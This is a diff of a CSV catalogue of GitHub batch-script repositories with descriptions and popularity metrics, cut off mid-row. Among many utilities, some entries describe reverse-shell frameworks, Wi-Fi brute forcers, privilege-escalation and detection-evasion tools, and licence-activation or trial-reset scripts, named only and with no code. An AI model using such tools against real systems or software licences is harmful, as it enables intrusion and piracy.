+ibrahimtonca/35-Different-Commands-to-Make-IT-Professionals-Work-Easier-All-in-One-Bat-File-,https://github.com/ibrahimtonca/35-Different-Commands-to-Make-IT-Professionals-Work-Easier-All-in-One-Bat-File-,,113,14,Batchfile,2024-11-17T13:54:48Z,2026-09-10T11:33:00Z +K3V1991/ADBKit,https://github.com/K3V1991/ADBKit,Pure ADB (Android Debug Bridge) with Batch Script to easily open a CMD Window,112,19,Batchfile,2022-05-23T12:38:35Z,2026-09-28T08:25:45Z +chainski/WindowsCleanerUtility,https://github.com/chainski/WindowsCleanerUtility,A minimal windows batch script that cleans your PC from temporary files.,112,12,Batchfile,2022-08-11T14:11:30Z,2026-10-06T17:58:02Z +canarddu38/DUCKSPLOIT,https://github.com/canarddu38/DUCKSPLOIT,Windows Hacking FrameWork using Reverse Shell,112,17,C#,2022-01-20T20:59:25Z,2026-09-29T11:15:48Z +weareblahs/WSAUtilities,https://github.com/weareblahs/WSAUtilities,"CLI-based toolbox for Windows Subsystem for Android. Includes installation of APKs, installation of WSA, and diagnostics.",109,25,Batchfile,2021-10-21T06:01:49Z,2026-09-13T15:47:10Z +ComPDFKit/compdfkit-conversion-sdk-windows,https://github.com/ComPDFKit/compdfkit-conversion-sdk-windows,"High-performance PDF conversion library for Windows desktop apps. Convert PDF to Word, Excel, PPT, HTML, CSV, images, text, RTF, searchable PDF, JSON, Markdown, and OFD while preserving original layout with pixel-perfect accuracy. Support OCR, AI table recognition, and batch processing.",109,10,HTML,2025-06-09T07:53:32Z,2026-08-28T01:22:29Z +Zusier/Zusiers-optimization-Batch,https://github.com/Zusier/Zusiers-optimization-Batch,"The open source batch file that gives efforts to boost system performance, latency, and stability.",108,10,Batchfile,2020-03-14T16:38:46Z,2026-08-20T23:33:07Z +gameclamp/MangaMeeyaAssociations,https://github.com/gameclamp/MangaMeeyaAssociations,在图片、压缩包和文件夹右键菜单加入MangaMeeya调用项。将bat放在MangaMeeya文件夹下运行。,101,9,Batchfile,2017-05-28T08:49:27Z,2026-10-05T08:08:49Z +warengonzaga/wrn-cleaner,https://github.com/warengonzaga/wrn-cleaner,A free maintenance tool that can automatically or manually clean up your Windows machine in a simple and reliable way. 😉💻🧹,96,14,Batchfile,2017-11-22T23:45:31Z,2026-07-31T09:53:36Z +jeremyben/thebatchman,https://github.com/jeremyben/thebatchman,Converts Windows batch scripts (or HTA) into executable files,96,20,JavaScript,2015-12-27T22:57:42Z,2026-10-01T18:56:52Z +TechTank/AlwaysActiveHours,https://github.com/TechTank/AlwaysActiveHours,"A tool, written as a batch file, used to shift your PC's active hour configuration to prevent Windows from shutting down automatically after installing updates.",96,4,Batchfile,2025-01-18T22:25:27Z,2026-10-01T18:19:44Z +hahndorf/Set-Privacy,https://github.com/hahndorf/Set-Privacy,PowerShell script to batch-change privacy settings in Windows 10,94,19,PowerShell,2015-08-04T03:02:20Z,2026-08-30T04:23:30Z +newmatrix/WinRTP,https://github.com/newmatrix/WinRTP,Windows Repair Tool Pro هي أداة مجانية مخصصة لصيانة وإصلاح مشاكل ويندوز بسهولة من خلال واجهة CMD بسيطة وسريعة.,94,19,Batchfile,2026-05-17T21:19:51Z,2026-10-05T17:58:51Z +SwiftOnSecurity/OfficeDeployFramework,https://github.com/SwiftOnSecurity/OfficeDeployFramework,A batch script to demonstrate complex Microsoft Office deployments,92,10,Batchfile,2018-03-22T20:33:03Z,2025-05-16T00:10:06Z +lingxiaoyiyu-hub/grok-register-win,https://github.com/lingxiaoyiyu-hub/grok-register-win,Windows 下双击即用的 Grok（xAI）账号自动注册面板 - 浏览器自动化注册、SSO→CPA 转换、多邮箱源支持、多格式导出,92,26,Python,2026-07-14T06:22:52Z,2026-10-05T03:26:02Z +stefanpejcic/EmptyStandbyList,https://github.com/stefanpejcic/EmptyStandbyList,Empty Standby Memory automatically with Task Scheduler + EmptyStandbyList + .BAT,92,14,Batchfile,2020-02-12T10:01:14Z,2026-10-05T19:38:19Z +AnthonyMusgrove/Emby-ScripterX,https://github.com/AnthonyMusgrove/Emby-ScripterX,Run custom external application or script (batch/bash/powershell/php/python/node.js/custom) on various events within the Emby Server.,91,6,Batchfile,2020-04-08T02:26:17Z,2026-05-31T23:19:13Z +azmatt/windowsEnum,https://github.com/azmatt/windowsEnum,Batch file to help automate Windows enumeration for privilege escalation,91,31,Batchfile,2016-09-25T17:36:09Z,2026-01-10T22:14:37Z +wizz13150/PDQ_Repo,https://github.com/wizz13150/PDQ_Repo,"PDQ Deploy Scripts, Tools, Utilities ... For IT daily Administration",90,15,Batchfile,2019-05-22T10:24:31Z,2026-09-06T16:51:16Z +carlospolop/winPE,https://github.com/carlospolop/winPE,Windows privilege escalation with cmd,90,31,Batchfile,2019-02-11T19:05:58Z,2026-09-10T07:50:41Z +repnz/shellcode2exe,https://github.com/repnz/shellcode2exe,Batch script to compile a binary shellcode blob into an exe file,89,13,Batchfile,2019-07-12T07:47:18Z,2026-08-18T08:44:02Z +Sidneys1/BatchImageProcessor,https://github.com/Sidneys1/BatchImageProcessor,A Mass Image Processing tool for Windows,89,16,C#,2015-03-30T20:20:37Z,2026-03-22T12:58:41Z +HadiKhoirudin/Qualcomm-Tool,https://github.com/HadiKhoirudin/Qualcomm-Tool,"For educational purposes, learn how a batch script can handle emmcdl process.",87,22,Batchfile,2022-07-14T19:32:19Z,2026-09-29T13:50:04Z +Ec-25/FixIt,https://github.com/Ec-25/FixIt,A simple Script capable of optimizing and repairing almost any error that may occur on your Windows computer,87,4,Batchfile,2022-08-27T21:06:49Z,2026-06-29T23:43:29Z +TechnicalUserX/batch_wifi_brute_forcer,https://github.com/TechnicalUserX/batch_wifi_brute_forcer,An active attack tool against Wi-Fi networks with internal CMD commands,86,23,Batchfile,2020-12-15T07:34:52Z,2026-09-28T12:20:35Z +leongrdic/wsl-alias,https://github.com/leongrdic/wsl-alias,create aliases for Linux commands in Windows command line (for WSL),86,7,Shell,2017-09-28T09:21:42Z,2026-03-12T10:53:18Z +geekcomputers/Batch,https://github.com/geekcomputers/Batch,Some basic batch scripts,84,34,Batchfile,2012-06-11T18:27:09Z,2026-08-17T08:29:43Z +AnonKryptiQuz/I-Espresso,https://github.com/AnonKryptiQuz/I-Espresso,"I-Espresso is a tool that enables users to generate Portable Executable (PE) files from batch scripts. Leveraging IExpress, it demonstrates how file extension spoofing can be used to evade detection.",84,13,Batchfile,2024-10-05T12:49:38Z,2026-07-23T19:31:25Z +SeregaSPb/Windows-10-batch-optimizer,https://github.com/SeregaSPb/Windows-10-batch-optimizer,"Autotuner Windows 10 for awesome perfomance setting, privacy and security.",84,26,Batchfile,2015-08-13T01:51:39Z,2026-08-15T15:04:17Z +VVFGAA/BreventBat,https://github.com/VVFGAA/BreventBat,,83,8,Batchfile,2019-04-05T17:40:50Z,2026-09-27T16:51:55Z +TheYogMehta/StrawVerse,https://github.com/TheYogMehta/StrawVerse,"A fast, open-source anime and manga downloader for Windows, Linux, and Android with batch downloads, subtitles, multiple sources, quality selection, and MyAnimeList integration.",81,25,JavaScript,2024-03-28T07:58:43Z,2026-10-05T20:16:19Z +vektort13/antiOS_batch,https://github.com/vektort13/antiOS_batch,Level 2B - OS unique identifiers spoof,81,39,Batchfile,2018-02-17T09:33:21Z,2026-08-14T12:11:27Z +balsamleti/speedup-windows10,https://github.com/balsamleti/speedup-windows10,"The following batch files are included in the archive 1) Advanced Explorer Settings — This changes more than a dozen File Explorer related settings on Windows 10 that turn of animations, enable menus, or turn off things like Toasts. 2) Disable Automatic App Updates — Turns off automatic updates for Windows Store applications. 3) Disable Automatic Windows Updates — Turns off automatic updates for the Windows 10 operating system itself. 4) Disable Cortana Completely — Rename the cortana process searchUI.exe to searchUI.bak. This will kill the process permanetly and save your ressources. 5) Disable Forced Reboot after Update — Blocks Windows from enforcing a reboot after updates that require one. 6) Disable Lockscreen — Turns off the Windows 10 lockscreen. 7) Disable Telemetry — Turns off Windows 10 Telemetry. 8) Disable Unnecessary Services — This disables the MapsBroker, DoSvc and Wsearch services 9) Enable Defender Malware Protection — Enables Windows malware Protection. 10)Enable Secure Microsoft Edge Settings — Tweaks Microsoft Edge for security. Changes include turning of Flash and Cortana, enabling continuous browsing, and more. 11)Get Back Old Vertical Desktop Icon Distance — Changes the vertical icon spacing on the desktop. 12)Hide Cortana — Disables Cortana, and with it web searches and other search related parameters. The Microsoft way of disabling Cortana. 13)Hide OneDrive — Hides OneDrive and disables several related settings. 14)Re-enable Cortana Completely — This preferences turns Cortana on again. 15)Uninstall Unnecessary Apps — Removes ten apps that Windows 10 ships with including 3D Builder, Skype App, Getting Started, or Voice Recorder. 16)Enable Administrator Account — This preference enables the hidden administrator account in Windows. 17)Enable Standby instead of Hibernate — Switch powerstate from hibernation (slow) to standby . 18)Get apps access for Administrator Account — Enable access to applications for the administrator account.",80,11,Batchfile,2020-10-19T03:18:22Z,2026-09-15T16:36:52Z +mrblomblo/yt-dlp-usage-script,https://github.com/mrblomblo/yt-dlp-usage-script,This script is made to make usage of YT-DLP easier.,79,5,Batchfile,2024-03-12T19:55:45Z,2026-09-30T04:14:50Z +hclivess/whisperer,https://github.com/hclivess/whisperer,Batch subtitle generator GUI for video/audio — Whisper via faster-whisper or whisper.cpp (PySide6),79,9,Python,2026-08-20T18:02:04Z,2026-10-05T15:02:07Z +hashhar/Windows-Hacks,https://github.com/hashhar/Windows-Hacks,"This repository contains registry scripts, batch files and some knowledge to help you make your Windows do awesome stuff (at least by my standards).",78,13,PowerShell,2015-10-09T09:27:52Z,2026-06-30T18:20:40Z +bongochong/CWP-Utilities,https://github.com/bongochong/CWP-Utilities,"Combined Windows Privacy Utilities | Hosts file updater, block list manager, and more. Open source tools for Windows users, to help ensure privacy & security. Block ads, spyware domains, and other malicious activity/traffic, all through a simple interface.",78,4,Batchfile,2019-05-10T05:54:58Z,2026-05-17T05:49:01Z +xanderfrangos/crushee,https://github.com/xanderfrangos/crushee,Desktop tool for batch image optimization and resizing. Available for Windows and Mac. Built with Electron and Node.js.,77,15,JavaScript,2019-03-18T13:57:48Z,2026-08-25T18:16:11Z +naravid19/N_m3u8DL_RE_GUI,https://github.com/naravid19/N_m3u8DL_RE_GUI,"Windows GUI for N_m3u8DL-RE — download HLS, DASH, and Smooth Streaming with batch mode, mux options, resume support, and a browser companion extension for one-click stream capture.",77,7,C#,2025-08-05T08:31:31Z,2026-10-07T03:59:51Z +ritchielawrence/batchfunctionlibrary,https://github.com/ritchielawrence/batchfunctionlibrary,Library of Windows batch functions,76,18,HTML,2016-06-15T09:30:15Z,2026-10-02T19:56:38Z +Mario-Hero/toolUnRar,https://github.com/Mario-Hero/toolUnRar,用Python批量解压带密码的压缩包 A Python script for batch extraction with passwords,75,17,Python,2021-04-04T13:51:09Z,2026-09-07T07:55:28Z +CarlosZ16420/hamster-archiver,https://github.com/CarlosZ16420/hamster-archiver,Windows local-first file organizer and media catalog with MCP tools for AI assistants. Verified batch archiving. 本地文件整理、媒体建库与可校验批量归档，支持 AI 通过 MCP 调用。,75,1,JavaScript,2026-08-17T13:31:41Z,2026-10-07T08:51:33Z +DosX-dev/BatchASM,https://github.com/DosX-dev/BatchASM,BatchASM - primitive virtual machine (high level assembly language) for executing instructions in programming language environment Windows Batch.,74,2,Batchfile,2023-11-20T19:56:28Z,2026-09-10T14:21:50Z +TarikSeyceri/Windows-10-Update-Disabler.bat,https://github.com/TarikSeyceri/Windows-10-Update-Disabler.bat,An executable cmd batch script that 100% Disables Windows 10 Update.,73,19,Batchfile,2020-09-11T14:18:01Z,2026-06-29T23:44:41Z +jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher,https://github.com/jiesou/MFWL-Minecraft-For-Windows-Unlock-Launcher,解锁 Minecraft for Windows （MCBE）的一键 BAT 脚本,72,8,Batchfile,2022-01-26T15:08:58Z,2026-10-06T15:28:17Z +edinsuta/youtube-dl-batch,https://github.com/edinsuta/youtube-dl-batch,Simple batch files for simplifying basic usage of https://github.com/rg3/youtube-dl Windows .exe releases,70,18,Batchfile,2018-06-18T19:39:50Z,2026-06-22T19:29:50Z +Hishiro64/av1an-win-script,https://github.com/Hishiro64/av1an-win-script,A Batch script that sets up Av1an with all it's dependencies in a portable workspace,68,6,Batchfile,2023-04-30T04:12:33Z,2026-08-02T05:05:35Z +NabiKAZ/video2gif,https://github.com/NabiKAZ/video2gif,A batch script for convert video to GIF files by FFmpeg.exe on Windows,66,12,Batchfile,2017-04-22T22:58:47Z,2026-06-30T15:47:38Z +Archive-projects/Batch-File-examples,https://github.com/Archive-projects/Batch-File-examples,:shell: Various batch files (descriptions are in the read me file),66,19,Batchfile,2017-05-30T00:59:04Z,2026-03-22T19:09:26Z +AFaustini/OtimizeWindows,https://github.com/AFaustini/OtimizeWindows,Arquivo em lote (.bat) para otimização do Windows,61,13,Batchfile,2019-01-02T19:33:38Z,2026-09-22T17:53:44Z +minigueimeiros/office-365-cmd,https://github.com/minigueimeiros/office-365-cmd,Ativador Office 365,60,24,Batchfile,2021-03-02T01:08:57Z,2026-08-14T19:18:22Z +dend/windows-dev-box,https://github.com/dend/windows-dev-box,💻 Scripts and relevant configuration to set up my Windows development box.,59,11,Batchfile,2021-06-11T23:13:24Z,2026-09-07T22:44:34Z +custom-dev-tools/wampserver-ssl-auto-config,https://github.com/custom-dev-tools/wampserver-ssl-auto-config,WampServer SSL Auto Config is a Microsoft Windows batch script designed to automatically generate and configure a fully working Apache SSL / Name Based virtual host development environment.,59,13,Batchfile,2020-06-14T13:41:32Z,2026-10-05T11:11:11Z +amakvana/Bat-2-Exec,https://github.com/amakvana/Bat-2-Exec,Bat-2-Exec - A wrapper for converting Batch files into Executables using IExpress,59,6,Batchfile,2020-06-19T10:33:37Z,2026-08-19T18:39:52Z +faizul726/matject,https://github.com/faizul726/matject,Matject - Universal batch script made for Windows to dynamically change .material.bin files of Minecraft Bedrock Edition. With automatic backups and many more features!,58,5,Batchfile,2024-08-29T16:04:00Z,2026-07-27T11:19:28Z +FoxP/rclone-backup,https://github.com/FoxP/rclone-backup,Just my rclone Windows batch scripts to backup / sync the second hard drive of my computer to pCloud (encrypted).,56,11,Batchfile,2018-07-30T16:47:16Z,2026-04-22T09:31:16Z +AliceDzindzik/menu-do-suporte,https://github.com/AliceDzindzik/menu-do-suporte,"Script batch (.bat) interativo para otimizar suporte técnico no Windows, automatizando reinício do sistema, limpeza de temporários, diagnóstico de rede, correção de erros comuns de impressão e ajustes de compartilhamento entre Windows 10 e 11 via PowerShell, aumentando a eficiência e reduzindo erros humanos.",56,19,Batchfile,2025-07-31T18:08:22Z,2026-10-02T15:14:11Z +anic17/Batch-Antivirus,https://github.com/anic17/Batch-Antivirus,"Batch Antivirus, a powerful antivirus suite written in batch with real-time protection and heuristical scanning.",56,6,Batchfile,2020-06-20T20:52:35Z,2026-09-26T13:59:16Z +skidaim/TJprojMain-explorer.exe-remover,https://github.com/skidaim/TJprojMain-explorer.exe-remover,"This simple batch script will get rid of the annoying TJprojMain malware, which infects all your exe files to spread",54,15,Batchfile,2021-07-09T16:49:13Z,2026-09-17T21:39:40Z +2rf/winGetDebloated,https://github.com/2rf/winGetDebloated,🧹 A winget bloatware removal tool made in batch,54,6,Batchfile,2021-08-19T02:18:20Z,2026-06-29T23:47:16Z +jahwi/bget,https://github.com/jahwi/bget,A package manager for Windows scripts.,54,4,Batchfile,2018-11-22T01:36:55Z,2026-10-02T19:57:08Z +custom-dev-tools/wampserver-php-cli-version-changer,https://github.com/custom-dev-tools/wampserver-php-cli-version-changer,WampServer PHP CLI version changer is a Microsoft Windows batch script that allows you to easily add and then change between available WampServer PHP CLI versions using the users environment 'path' variable.,54,6,Batchfile,2018-03-23T05:53:02Z,2026-02-26T06:20:48Z +EbolaMan-YT/custom-cmd,https://github.com/EbolaMan-YT/custom-cmd,,54,11,Batchfile,2023-02-28T23:24:20Z,2026-09-24T14:44:27Z +dubbyOW/BCDEditTweaks,https://github.com/dubbyOW/BCDEditTweaks,.cmd script for enhancing Windows performance through optimized BCDEdit parameters.,54,5,Batchfile,2024-06-30T12:22:45Z,2026-09-17T07:07:52Z +itsHenry35/Adobe-flash-player-installer,https://github.com/itsHenry35/Adobe-flash-player-installer,A bat installer to install adobe flash player which bypasses the date restrict,54,6,Batchfile,2022-03-26T08:11:09Z,2026-09-18T00:14:56Z +EbolaMan-YT/Batch-Multi-Tool,https://github.com/EbolaMan-YT/Batch-Multi-Tool,batch multi tool https://www.youtube.com/watch?v=x9aGS-FzONg,53,22,Batchfile,2024-09-12T12:18:43Z,2026-09-24T14:44:42Z +danielj0nes/Activate-Windows10-Pro-Script,https://github.com/danielj0nes/Activate-Windows10-Pro-Script,Batch script to activate Windows 10 Pro for free (requires an unlicensed installation of Windows 10).,52,13,Batchfile,2019-12-30T15:49:27Z,2026-09-18T10:29:48Z +yasser-alghamdi/winterfell-collection,https://github.com/yasser-alghamdi/winterfell-collection,"Winterfell is a group of windows batch scripts to collect Windows forensics data and perform efficient, and fast incident response and threat hunting activities.",52,11,Batchfile,2020-02-20T18:13:09Z,2025-06-10T13:56:10Z +dfkt/win-cmd-tools,https://github.com/dfkt/win-cmd-tools,Collection of some Windows commandline tools/batch scripts I use on a daily-ish basis.,51,14,Batchfile,2015-02-19T21:14:08Z,2026-09-30T22:29:40Z +tcja/Windows-10-tweaks,https://github.com/tcja/Windows-10-tweaks,This repo contains multiple scripts to optimize windows 10,51,4,Batchfile,2019-04-26T17:05:32Z,2026-09-19T09:21:18Z +SegoCode/DebloBat,https://github.com/SegoCode/DebloBat,"⚙️ Yet another (and ugly) debloat, optimizer and tweaker for Windows 11 based on group policies",51,4,Batchfile,2022-02-10T10:02:10Z,2026-08-29T04:02:11Z +edinsuta/yt-dlp-batch,https://github.com/edinsuta/yt-dlp-batch,Simple batch files for simplifying basic usage of https://github.com/yt-dlp/yt-dlp (a fork of https://github.com/rg3/youtube-dl) Windows .exe releases,51,3,Batchfile,2021-12-23T13:56:56Z,2026-09-11T23:38:12Z +ykeara/SteamVR-Dongle-Flash,https://github.com/ykeara/SteamVR-Dongle-Flash,A simple Guide and batch script to flash steam controller dongles to watchman dongles for SteamVR/OpenVR,50,4,Batchfile,2019-04-26T20:40:34Z,2026-09-20T20:50:30Z +ParrySMS/batteryreport,https://github.com/ParrySMS/batteryreport,a simple bat to get battery report,50,10,Batchfile,2018-12-28T07:14:11Z,2026-07-21T06:36:16Z +LennoC/N_m3u8DL-RE_SimpleBatGUI,https://github.com/LennoC/N_m3u8DL-RE_SimpleBatGUI,简单的批处理调用N_m3u8DL-RE进行下载，预设单个下载、批量下载、录播下载。,50,10,Batchfile,2023-07-31T09:23:18Z,2026-10-01T07:51:11Z diff --git a/z.repo_support/scripts/filtered_new_repos.csv b/z.repo_support/scripts/filtered_new_repos.csv index 33ead5d7..d27222f5 100644 --- a/z.repo_support/scripts/filtered_new_repos.csv +++ b/z.repo_support/scripts/filtered_new_repos.csv @@ -1,113 +1,7 @@ -"category","created_at","description","forks","language","name","quality_score","stars","updated_at","url" -"Offensive Security & Penetration Testing","2019-01-13T19:58:24Z","PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)","3365","C#","peass-ng/PEASS-ng","0.519","19995","2026-06-15T08:59:46Z","https://github.com/peass-ng/PEASS-ng" -"Development & Scripting Tools","2021-10-09T21:01:45Z","Universal MCT wrapper script for all Windows 10/11 versions from 1507 to 21H2!","3132","Batchfile","AveYo/MediaCreationTool.bat","0.738","10234","2026-06-15T10:53:30Z","https://github.com/AveYo/MediaCreationTool.bat" -"Development & Scripting Tools","2020-12-09T14:57:18Z","Uninstall Microsoft Edge with an executable or batch script.","196","Batchfile","ShadowWhisperer/Remove-MS-Edge","0.738","5203","2026-06-15T04:35:52Z","https://github.com/ShadowWhisperer/Remove-MS-Edge" -"Development & Scripting Tools","2013-09-02T10:45:45Z","A language that compiles to Bash and Windows Batch","168","OCaml","batsh-dev-team/Batsh","0.537","4352","2026-06-04T12:08:25Z","https://github.com/batsh-dev-team/Batsh" -"Network & Internet Tools","2025-07-09T05:55:44Z","一键生成产品营销与泛内容短视频，AI批量自动剪辑，高颜值跨平台桌面端工具 One click generation of product marketing and general content short videos, AI batch automatic cliping, beautiful cross platform desktop tool","605","TypeScript","YILS-LIN/short-video-factory","0.537","4085","2026-06-15T11:12:05Z","https://github.com/YILS-LIN/short-video-factory" -"File & Disk Utilities","2020-04-28T00:20:46Z","F2 is a cross-platform command-line tool for batch renaming files and directories quickly and safely. Written in Go!","64","Go","ayoisaiah/f2","0.537","2417","2026-06-14T09:21:34Z","https://github.com/ayoisaiah/f2" -"Development & Scripting Tools","2013-09-28T20:07:11Z","This Windows Batchscript helps setup a Mingw-w64 compiler environment for building ffmpeg and other media tools under Windows.","295","Shell","m-ab-s/media-autobuild_suite","0.575","1797","2026-06-15T08:21:08Z","https://github.com/m-ab-s/media-autobuild_suite" -"Development & Scripting Tools","2018-11-15T05:41:47Z","Collection of batch scripts utilities for Windows","284","VBScript","abbodi1406/BatUtil","0.556","1421","2026-06-15T09:20:54Z","https://github.com/abbodi1406/BatUtil" -"System Information & Diagnostics","2025-06-09T01:23:09Z","A powerful, all-in-one Windows maintenance toolkit built entirely in Batch & PowerShell. Designed for power users, sysadmins, and curious tinkerers – now smarter, safer, and fully offline-compatible.","78","PowerShell","ios12checker/Windows-Maintenance-Tool","0.594","1324","2026-06-15T00:04:24Z","https://github.com/ios12checker/Windows-Maintenance-Tool" -"Development & Scripting Tools","2014-04-18T17:53:07Z","batch script utils and examples by npocmaka -","880","Batchfile","npocmaka/batch.scripts","0.719","1132","2026-06-04T17:50:09Z","https://github.com/npocmaka/batch.scripts" -"System Tweaks & Performance Enhancements","2023-08-31T14:26:26Z","Pause & disable Windows updates for any duration. Remove Recall / Copilot. Debloat / privacy / telemetry tools. Supports Windows 10 and 11.","46","Batchfile","Aetherinox/pause-windows-updates","0.669","830","2026-06-14T04:45:03Z","https://github.com/Aetherinox/pause-windows-updates" -"Development & Scripting Tools","2015-02-13T03:29:15Z","Virtual machine templates for Windows written in legacy JSON and Batch Scripting/JScript","263","Ruby","boxcutter/windows","0.446","770","2026-06-14T22:06:04Z","https://github.com/boxcutter/windows" -"File & Disk Utilities","2022-05-24T10:06:00Z","A small Application for Windows that allows you to install the latest Version of ADB and Fastboot Files on the Computer without installing the entire Android SDK Package + Toolkit & Commands","94","Batchfile","K3V1991/ADB-and-FastbootPlusPlus","0.613","734","2026-06-15T11:04:29Z","https://github.com/K3V1991/ADB-and-FastbootPlusPlus" -"Offensive Security & Penetration Testing","2023-12-27T05:29:37Z","A CMD script to crack password protected ZIP, RAR, 7z and PDF files, using JohnTheRipper.","104","Batchfile","illsk1lls/ZipRipper","0.611","730","2026-06-15T06:54:38Z","https://github.com/illsk1lls/ZipRipper" -"Audio, Video Capture, Conversion & Playback","2019-01-12T07:09:53Z","A free GUI application for HandBrake and FFmpeg/FFprobe with an emphasis on batch conversion (including recursive folder scans and folder watching) -Windows, macOS, Linux & Docker","57","HTML","HaveAGitGat/HBBatchBeast","0.419","705","2026-06-12T16:40:16Z","https://github.com/HaveAGitGat/HBBatchBeast" -"Offensive Security & Penetration Testing","2015-11-19T13:22:01Z","Windows batch script that finds misconfiguration issues which can lead to privilege escalation.","103","PowerShell","enjoiz/Privesc","0.429","683","2026-06-13T09:51:42Z","https://github.com/enjoiz/Privesc" -"System Tweaks & Performance Enhancements","2021-06-18T21:14:22Z","ET is a powerful application to improve performance, debloat, optimize and enhance privacy for Windows 10/11.","46","C#","semazurek/ET-Optimizer","0.374","592","2026-06-12T09:52:00Z","https://github.com/semazurek/ET-Optimizer" -"Development & Scripting Tools","2018-06-24T06:33:48Z","wimbuilder with new UI & new syntax (hta+bat+vbs+js)","117","Batchfile","slorelee/wimbuilder2","0.532","580","2026-06-14T05:26:36Z","https://github.com/slorelee/wimbuilder2" -"Development & Scripting Tools","2016-08-02T21:01:45Z","A Windows Batch script and a Unix Bash script to comprehensively collect host forensic data during incident response.","91","Batchfile","diogo-fernan/ir-rescue","0.552","489","2026-06-07T12:23:53Z","https://github.com/diogo-fernan/ir-rescue" -"Other & Uncategorized","2021-03-28T13:59:24Z","Windows","95","Batchfile","TairikuOokami/Windows","0.513","485","2026-06-11T08:32:12Z","https://github.com/TairikuOokami/Windows" -"File & Disk Utilities","2015-02-24T15:00:45Z","Sets up file associations for mpv on Windows","47","Batchfile","rossy/mpv-install","0.506","468","2026-06-15T04:48:40Z","https://github.com/rossy/mpv-install" -"Development & Scripting Tools","2011-01-10T20:08:13Z","Port of Doug Hellmann's virtualenvwrapper to Windows batch scripts","103","Batchfile","davidmarble/virtualenvwrapper-win","0.54","459","2026-04-02T16:29:02Z","https://github.com/davidmarble/virtualenvwrapper-win" -"System Tweaks & Performance Enhancements","2020-07-07T18:37:01Z","MajorGeeks Windows Tweaks contains well over 200 registry, PowerShell, Visual Basic, and batch files to enable tweaks and hidden features in Windows 10, 8, and 7 for any skill level.","36","","MajorGeek/MajorGeeks-Windows-Tweaks","0.32","410","2026-06-09T19:33:29Z","https://github.com/MajorGeek/MajorGeeks-Windows-Tweaks" -"System Tweaks & Performance Enhancements","2017-04-17T11:02:55Z","A bash script that batch installs and tweaks GNOME extensions as well as GTK/Shell themes. There are currently three options available: Unity, Windows and macOS.","39","Shell","vmavromatis/gnome-layout-manager","0.335","401","2026-06-01T11:30:38Z","https://github.com/vmavromatis/gnome-layout-manager" -"Offensive Security & Penetration Testing","2020-05-16T09:15:23Z","This project is based upon the trick that, how to hack WI-FI with CMD. The main purpose behind, creating wifi hacking tool with cmd tool is to make everyone aware that how easy it is to break a simple password. And, motivate them to keep some complex passwords – to keep them protected against it.","191","Batchfile","TheBATeam/Batch-WI-FI-Brute-Forcer","0.467","370","2026-06-06T04:41:09Z","https://github.com/TheBATeam/Batch-WI-FI-Brute-Forcer" -"Development & Scripting Tools","2024-10-24T23:08:26Z","Block Adobe, Autodesk, Corel and other apps from the internet on Windows. Single batch script, MIT, no third-party tools.","37","Batchfile","ph33nx/WinMasterBlocker","0.513","346","2026-06-09T18:00:00Z","https://github.com/ph33nx/WinMasterBlocker" -"Development & Scripting Tools","2016-11-15T20:08:47Z","A small batch script for resetting Visual Assist X's trial period.","100","Batchfile","vogeljo/reset-vassistx","0.473","339","2026-06-12T08:58:49Z","https://github.com/vogeljo/reset-vassistx" -"Gaming & Entertainment Tools","2023-11-28T21:43:39Z","Decrypting Nintendo 3DS games and applications (.3ds, .cia)","21","Batchfile","xxmichibxx/Batch-CIA-3DS-Decryptor-Redux","0.436","339","2026-06-15T05:58:04Z","https://github.com/xxmichibxx/Batch-CIA-3DS-Decryptor-Redux" -"Development & Scripting Tools","2018-02-05T21:00:56Z","An open source batch script based WiFi Passview for Windows!","76","Batchfile","warengonzaga/wifi-passview","0.491","337","2026-06-11T03:35:00Z","https://github.com/warengonzaga/wifi-passview" -"Development & Scripting Tools","2025-10-05T19:44:49Z","GPL-3.0 开源的 IDM Activation Script 中文版：Windows 批处理脚本，支持 IDM 试用期冻结、普通激活、重置和环境自检","22","Batchfile","tytsxai/IDM-Activation-Script-Chinese","0.472","337","2026-06-15T11:02:35Z","https://github.com/tytsxai/IDM-Activation-Script-Chinese" -"Development & Scripting Tools","2025-12-01T20:43:03Z","A web-based tool that generates customized Windows post-installation batch scripts. Select from 100+ software applications and 80+ system configurations to create a personalized Windows setup script.","18","JavaScript","kaic/win-post-install","0.327","334","2026-06-11T00:46:26Z","https://github.com/kaic/win-post-install" -"Other & Uncategorized","2024-06-14T17:04:37Z","Easily configure Microsoft Edge, the way you want it!","12","Batchfile","TheBobPony/MSEdgeTweaker","0.424","310","2026-06-14T03:24:38Z","https://github.com/TheBobPony/MSEdgeTweaker" -"Development & Scripting Tools","2018-03-10T20:18:32Z","KISS batch script to easily convert PNG, GIF, BMP, SVG or JPG images to multi-resolution ICO files using ImageMagick.","31","Batchfile","FoxP/PNG-to-ICO","0.453","288","2026-06-05T06:03:10Z","https://github.com/FoxP/PNG-to-ICO" -"File & Disk Utilities","2024-04-17T14:40:06Z","a little batch file that permanently removes the Outlook (New) app from Windows 10/11","21","Batchfile","matej137/OutlookRemover","0.441","259","2026-06-10T13:12:51Z","https://github.com/matej137/OutlookRemover" -"System Tweaks & Performance Enhancements","2023-02-05T18:19:47Z","Open Source Tweaker made to improve system performance and lower system latency.","22","Batchfile","ancel1x/Ancels-Performance-Batch","0.438","251","2026-06-05T20:57:15Z","https://github.com/ancel1x/Ancels-Performance-Batch" -"File & Disk Utilities","2017-05-01T09:00:20Z","Various batch files for Windows","57","Batchfile","Espionage724/Windows","0.429","228","2026-06-14T05:19:46Z","https://github.com/Espionage724/Windows" -"Development & Scripting Tools","2023-07-28T21:26:41Z","Windows 11 Scripts","31","Batchfile","shoober420/windows11-scripts","0.422","212","2026-06-12T17:30:40Z","https://github.com/shoober420/windows11-scripts" -"File & Disk Utilities","2017-06-17T11:42:38Z","Windows batch file to perform unattended installations of a portable Cygwin environment.","42","Batchfile","vegardit/cygwin-portable-installer","0.422","211","2026-05-13T22:35:22Z","https://github.com/vegardit/cygwin-portable-installer" -"Development & Scripting Tools","2017-04-11T03:59:07Z","This script reset the Windows Update Components.","48","Batchfile","ManuelGil/Script-Reset-Windows-Update-Tool","0.418","201","2026-06-09T01:01:16Z","https://github.com/ManuelGil/Script-Reset-Windows-Update-Tool" -"Development & Scripting Tools","2019-08-02T20:18:08Z","A Windows batch file that tries Windows activation keys found around the internet.","80","Batchfile","prestonsn/windows-10-activation-script","0.414","192","2026-05-30T01:58:01Z","https://github.com/prestonsn/windows-10-activation-script" -"Network & Internet 